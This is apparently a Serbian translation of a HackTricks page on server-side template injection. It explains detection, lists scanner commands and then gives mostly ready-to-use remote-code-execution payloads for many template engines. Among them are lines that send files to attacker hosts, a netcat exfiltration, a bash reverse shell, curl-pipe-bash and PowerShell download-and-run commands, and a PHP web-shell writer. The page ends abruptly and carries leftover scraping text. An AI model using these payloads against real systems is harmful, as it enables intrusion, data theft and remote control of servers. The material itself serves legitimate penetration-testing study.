SSTI (Server Side Template Injection)

Support HackTricks

RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Šta je SSTI (Server-Side Template Injection)

Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.

Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:

output = template.render(name=request.args.get('name'))

U ovom ranjivom kodu, name parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći render funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u name parametar, što dovodi do server-side template injection.

Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} se ubacuje u name parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.

Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.

Detection

Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, fuzzing šablona je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (${{<%[%'"}}%\) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:

  • Bacanje grešaka, otkrivajući ranjivost i potencijalno šablonski motor.

  • Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje drugačije od običnih podataka.

  • Plaintext Context: Razlikovati od XSS proverom da li server evaluira šablonske izraze (npr., {{7*7}}, ${7*7}).

  • Code Context: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjanje greeting u http://vulnerable-website.com/?greeting=data.username da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u greeting=data.username}}hello koji vraća korisničko ime.

Identification Phase

Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog šablonskog motora.

Tools

efikasan SSTI + CSTI skener koji koristi nove poliglotove

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija šablonska motora.

Eksploati

Generički

U ovoj listi reči možete pronaći definisane varijable u okruženjima nekih od motora pomenutih u nastavku:

Java

Java - Osnovna injekcija

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Preuzmite sistemske promenljive okruženja

${T(java.lang.System).getenv()}

Java - Preuzmi /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Možete isprobati svoje payload-ove na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Ništa

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Obilaženje sandboxes

⚠️ radi samo na Freemarker verzijama ispod 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Više informacija

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Više informacija

Thymeleaf

U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz ${7*7}, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, inlining izraza je podržan za druge lokacije šablona, koristeći sintaksu poput [[...]] ili [(...)]. Tako, jednostavan SSTI test payload može izgledati kao [[${7*7}]].

Međutim, verovatnoća da će ovaj payload raditi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj TemplateResolver da kreiraju šablone iz stringova u hodu, što je retko.

Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar dvostrukih donjih crta (__...__) preprocesiraju. Ova funkcija se može iskoristiti u konstrukciji izraza, kao što je prikazano u dokumentaciji Thymeleaf-a:

#{selection.__${sel.code}__}

Primer ranjivosti u Thymeleaf-u

Razmotrite sledeći deo koda, koji bi mogao biti podložan eksploataciji:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Ovo ukazuje da, ako motor šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Više informacija

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Obilaženje filtera

Više varijantnih izraza može se koristiti, ako ${...} ne radi, pokušajte sa #{...}, *{...}, @{...} ili ~{...}.

  • Pročitajte /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Prilagođeni skript za generisanje payload-a

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Više informacija

Manipulacija prikazom u Spring-u (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara verzija Pebble ( < verzija 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova verzija Pebble :

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava je projekat otvorenog koda koji je razvio Hubspot, dostupan na https://github.com/HubSpot/jinjava/

Jinjava - Izvršenje komandi

Ispravljeno putem https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Više informacija

Hubspot - HuBL (Java)

  • {% %} delimičari izjava

  • {{ }} delimičari izraza

  • {# #} delimičari komentara

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - klasa com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte Jinjava projekat na Githubu.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Više informacija

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:

  • JavaServer Faces (JSF): Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.

  • JavaServer Pages (JSP): EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.

  • Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.

Pogledajte sledeću stranicu da biste saznali više o eksploataciji EL interpretera:

EL - Expression Language

Groovy (Java)

Sledeći zaobilaženja sigurnosnog menadžera preuzeta su iz ovog izveštaja.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Više informacija

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Greška

  • {{foobar}} Ništa

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format šablona

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Više informacija

Plates (PHP)

Plates je engine za templating koji je nativan za PHP, crpeći inspiraciju iz Twiga. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Šablon stranice:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout шаблон:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Više informacija

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB je isto što i PHPlib, ali portovan na Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Više informacija

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Više informacija

patTemplate (PHP)

patTemplate PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Više informacija

Handlebars (NodeJS)

Putanja prolaza (više informacija ovde).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Greška

  • ${7*7} = ${7*7}

  • Ništa

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Više informacija

JsRender (NodeJS)

Šablon

Opis

Evaluiraj i renderuj izlaz

Evaluiraj i renderuj HTML kodiran izlaz

Komentar

i

Dozvoli kod (podrazumevano onemogućeno)

  • = 49

Klijentska strana

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Server Side

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Više informacija

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Primer server side render

var pugjs = require('pug');
home = pugjs.render(injected_page)

Više informacija

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Nema izlaza

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Greška

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Više informacija

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Greška

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Više informacija

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Više informacija

Python

Pogledajte sledeću stranicu da biste naučili trikove o izvršavanju proizvoljnih komandi zaobilaženjem sandboksova u pythonu:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Greška

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Više informacija

Jinja2 (Python)

Zvanična stranica

Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.

  • {{7*7}} = Greška

  • ${7*7} = ${7*7}

  • {{foobar}} Ništa

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format šablona

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE nije zavistan od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Više detalja o tome kako zloupotrebiti Jinja:

Jinja2 SSTI

Ostali payloadi u https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Više informacija

Razor (.Net)

  • @(2+2) <= Uspeh

  • @() <= Uspeh

  • @("{{code}}") <= Uspeh

  • @ <=Uspeh

  • @{} <= GREŠKA!

  • @{ <= GREŠKA!

  • @(1+2)

  • @( //C#Kod )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET System.Diagnostics.Process.Start može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Možete pronaći primer ranjive web aplikacije na https://github.com/cnotin/RazorVulnerableApp

Više informacija

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Ništa

  • <%= response.write(date()) %> = <Datum>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Više informacija

Mojolicious (Perl)

Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Greška

<%= perl code %>
<% perl code %>

SSTI u GO

U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:

  • {{ . }}: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom Password prosleđen, {{ .Password }} bi mogao da ga otkrije.

  • {{printf "%s" "ssti" }}: Očekuje se da prikaže string "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji ovde.

XSS Eksploatacija

Sa paketom text/template, XSS može biti jednostavan umetanjem payload-a direktno. Nasuprot tome, paket html/template kodira odgovor kako bi to sprečio (npr., {{"<script>alert(1)</script>"}} rezultira &lt;script&gt;alert(1)&lt;/script&gt;). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Eksploatacija

